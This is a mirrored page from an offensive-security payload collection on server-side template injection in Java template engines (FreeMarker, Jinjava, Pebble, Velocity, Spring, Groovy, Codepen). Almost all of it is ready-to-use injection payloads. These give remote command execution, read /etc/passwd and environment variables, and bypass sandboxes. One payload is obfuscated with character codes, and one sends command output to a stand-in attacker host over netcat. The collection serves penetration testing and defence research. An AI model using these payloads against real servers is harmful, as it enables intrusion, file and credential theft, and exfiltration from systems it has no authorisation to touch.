mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
290 lines
10 KiB
Markdown
290 lines
10 KiB
Markdown
# Server Side Template Injection - Java
|
||
|
||
> Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.
|
||
|
||
|
||
## Summary
|
||
|
||
- [Templating Libraries](#templating-libraries)
|
||
- [Java](#java)
|
||
- [Java - Basic injection](#java---basic-injection)
|
||
- [Java - Retrieve the system’s environment variables](#java---retrieve-the-systems-environment-variables)
|
||
- [Java - Retrieve /etc/passwd](#java---retrieve-etcpasswd)
|
||
- [Freemarker](#freemarker)
|
||
- [Freemarker - Basic injection](#freemarker---basic-injection)
|
||
- [Freemarker - Read File](#freemarker---read-file)
|
||
- [Freemarker - Code execution](#freemarker---code-execution)
|
||
- [Freemarker - Sandbox bypass](#freemarker---sandbox-bypass)
|
||
- [Codepen](#codepen)
|
||
- [Jinjava](#jinjava)
|
||
- [Jinjava - Basic injection](#jinjava---basic-injection)
|
||
- [Jinjava - Command execution](#jinjava---command-execution)
|
||
- [Pebble](#pebble)
|
||
- [Pebble - Basic injection](#pebble---basic-injection)
|
||
- [Pebble - Code execution](#pebble---code-execution)
|
||
- [Velocity](#velocity)
|
||
- [Spring](#spring)
|
||
- [Groovy](#groovy)
|
||
- [Groovy - Basic injection](#groovy---basic-injection)
|
||
- [Groovy - Read and create File](#groovy---read-and-create-file)
|
||
- [Groovy - HTTP request:](#groovy---http-request)
|
||
- [Groovy - Command Execution](#groovy---command-execution)
|
||
- [Groovy - Sandbox Bypass](#groovy---sandbox-bypass)
|
||
- [References](#references)
|
||
|
||
|
||
## Templating Libraries
|
||
|
||
| Template Name | Payload Format |
|
||
| ------------ | --------- |
|
||
| Codepen | `#{}` |
|
||
| Freemarker | `${3*3}`, `#{3*3}`, `[=3*3]` |
|
||
| Groovy | `${9*9}` |
|
||
| Jinjava | `{{ }}` |
|
||
| Pebble | `{{ }}` |
|
||
| Spring | `*{7*7}` |
|
||
| Thymeleaf | `[[ ]]` |
|
||
| Velocity | `#set($X="") $X` |
|
||
|
||
|
||
## Java
|
||
|
||
### Java - Basic injection
|
||
|
||
> Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`.
|
||
|
||
```java
|
||
${7*7}
|
||
${{7*7}}
|
||
${class.getClassLoader()}
|
||
${class.getResource("").getPath()}
|
||
${class.getResource("../../../../../index.htm").getContent()}
|
||
```
|
||
|
||
### Java - Retrieve the system’s environment variables
|
||
|
||
```java
|
||
${T(java.lang.System).getenv()}
|
||
```
|
||
|
||
### Java - Retrieve /etc/passwd
|
||
|
||
```java
|
||
${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}
|
||
|
||
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
||
```
|
||
|
||
---
|
||
|
||
## Freemarker
|
||
|
||
[Official website](https://freemarker.apache.org/)
|
||
> Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.
|
||
|
||
You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
|
||
|
||
### Freemarker - Basic injection
|
||
|
||
The template can be :
|
||
|
||
* Default: `${3*3}`
|
||
* Legacy: `#{3*3}`
|
||
* Alternative: `[=3*3]` since [FreeMarker 2.3.4](https://freemarker.apache.org/docs/dgui_misc_alternativesyntax.html)
|
||
|
||
### Freemarker - Read File
|
||
|
||
```js
|
||
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
|
||
Convert the returned bytes to ASCII
|
||
```
|
||
|
||
### Freemarker - Code execution
|
||
|
||
```js
|
||
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
|
||
${"freemarker.template.utility.Execute"?new()("id")}
|
||
#{"freemarker.template.utility.Execute"?new()("id")}
|
||
[="freemarker.template.utility.Execute"?new()("id")]
|
||
```
|
||
|
||
### Freemarker - Sandbox bypass
|
||
|
||
:warning: only works on Freemarker versions below 2.3.30
|
||
|
||
```js
|
||
<#assign classloader=article.class.protectionDomain.classLoader>
|
||
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
|
||
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
|
||
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
|
||
${dwf.newInstance(ec,null)("id")}
|
||
```
|
||
|
||
---
|
||
|
||
## Codepen
|
||
|
||
[Official website](https://codepen.io/)
|
||
>
|
||
|
||
```python
|
||
- var x = root.process
|
||
- x = x.mainModule.require
|
||
- x = x('child_process')
|
||
= x.exec('id | nc attacker.net 80')
|
||
```
|
||
|
||
```javascript
|
||
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
|
||
```
|
||
|
||
---
|
||
|
||
## Jinjava
|
||
|
||
[Official website](https://github.com/HubSpot/jinjava)
|
||
> Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).
|
||
|
||
### Jinjava - Basic injection
|
||
|
||
```python
|
||
{{'a'.toUpperCase()}} would result in 'A'
|
||
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
|
||
```
|
||
|
||
Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)
|
||
|
||
### Jinjava - Command execution
|
||
|
||
Fixed by https://github.com/HubSpot/jinjava/pull/230
|
||
|
||
```ps1
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||
```
|
||
|
||
---
|
||
|
||
## Pebble
|
||
|
||
[Official website](https://pebbletemplates.io/)
|
||
|
||
> Pebble is a Java templating engine inspired by [Twig](./#twig) and similar to the Python [Jinja](./#jinja2) Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.
|
||
|
||
### Pebble - Basic injection
|
||
|
||
```java
|
||
{{ someString.toUPPERCASE() }}
|
||
```
|
||
|
||
### Pebble - Code execution
|
||
|
||
Old version of Pebble ( < version 3.0.9): `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}`.
|
||
|
||
New version of Pebble :
|
||
|
||
```java
|
||
{% set cmd = 'id' %}
|
||
{% set bytes = (1).TYPE
|
||
.forName('java.lang.Runtime')
|
||
.methods[6]
|
||
.invoke(null,null)
|
||
.exec(cmd)
|
||
.inputStream
|
||
.readAllBytes() %}
|
||
{{ (1).TYPE
|
||
.forName('java.lang.String')
|
||
.constructors[0]
|
||
.newInstance(([bytes]).toArray()) }}
|
||
```
|
||
|
||
---
|
||
|
||
## Velocity
|
||
|
||
[Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
|
||
|
||
> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
|
||
|
||
```python
|
||
#set($str=$class.inspect("java.lang.String").type)
|
||
#set($chr=$class.inspect("java.lang.Character").type)
|
||
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
|
||
$ex.waitFor()
|
||
#set($out=$ex.getInputStream())
|
||
#foreach($i in [1..$out.available()])
|
||
$str.valueOf($chr.toChars($out.read()))
|
||
#end
|
||
```
|
||
|
||
---
|
||
|
||
|
||
## Spring
|
||
|
||
```python
|
||
*{7*7}
|
||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||
```
|
||
|
||
---
|
||
|
||
## Groovy
|
||
|
||
[Official website](https://groovy-lang.org/)
|
||
|
||
### Groovy - Basic injection
|
||
|
||
Refer to https://groovy-lang.org/syntax.html , but `${9*9}` is the basic injection.
|
||
|
||
### Groovy - Read and create File
|
||
|
||
```groovy
|
||
${String x = new File('c:/windows/notepad.exe').text}
|
||
${String x = new File('/path/to/file').getText('UTF-8')}
|
||
${new File("C:\Temp\FileName.txt").createNewFile();}
|
||
```
|
||
|
||
### Groovy - HTTP request:
|
||
|
||
```groovy
|
||
${"http://www.google.com".toURL().text}
|
||
${new URL("http://www.google.com").getText()}
|
||
```
|
||
|
||
### Groovy - Command Execution
|
||
|
||
```groovy
|
||
${"calc.exe".exec()}
|
||
${"calc.exe".execute()}
|
||
${this.evaluate("9*9") //(this is a Script class)}
|
||
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
|
||
```
|
||
|
||
### Groovy - Sandbox Bypass
|
||
|
||
```groovy
|
||
${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
|
||
def x }
|
||
```
|
||
|
||
or
|
||
|
||
```groovy
|
||
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
|
||
```
|
||
|
||
|
||
## References
|
||
|
||
- [Server Side Template Injection – on the example of Pebble - Michał Bentkowski - September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/)
|
||
- [Server-Side Template Injection: RCE For The Modern Web App - James Kettle (@albinowax) - December 10, 2015](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
|
||
- [Server-Side Template Injection: RCE For The Modern Web App (PDF) - James Kettle (@albinowax) - August 8, 2015](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
|
||
- [Server-Side Template Injection: RCE For The Modern Web App (Video) - James Kettle (@albinowax) - December 28, 2015](https://www.youtube.com/watch?v=3cT0uE7Y87s)
|
||
- [VelocityServlet Expression Language injection - MagicBlue - November 15, 2017](https://magicbluech.github.io/2017/11/15/VelocityServlet-Expression-language-Injection/) |